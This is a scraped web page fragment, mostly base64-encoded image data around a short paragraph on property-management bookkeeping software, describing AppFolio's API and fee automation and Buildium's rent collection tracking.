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" width="258px" alt="best bookkeeping software for real estate investors"/></p>
<p><p>This feature allows businesses to build custom analytics, integrations, and workflows essential for growing their operations. The API includes enterprise-level control and access to the AppFolio database, with thorough documentation and testing environments validated by AppFolio Stack partners. The platform also supports automated late fees, CAM tracking and reconciliation, and bulk tenant charges, all aimed at streamlining property management. Buildium is great at automating bookkeeping tasks such as managing rent collection and payments. Property managers can follow every transaction, from payments made by residents to refunds, ensuring no details are missed.</p>
</p>
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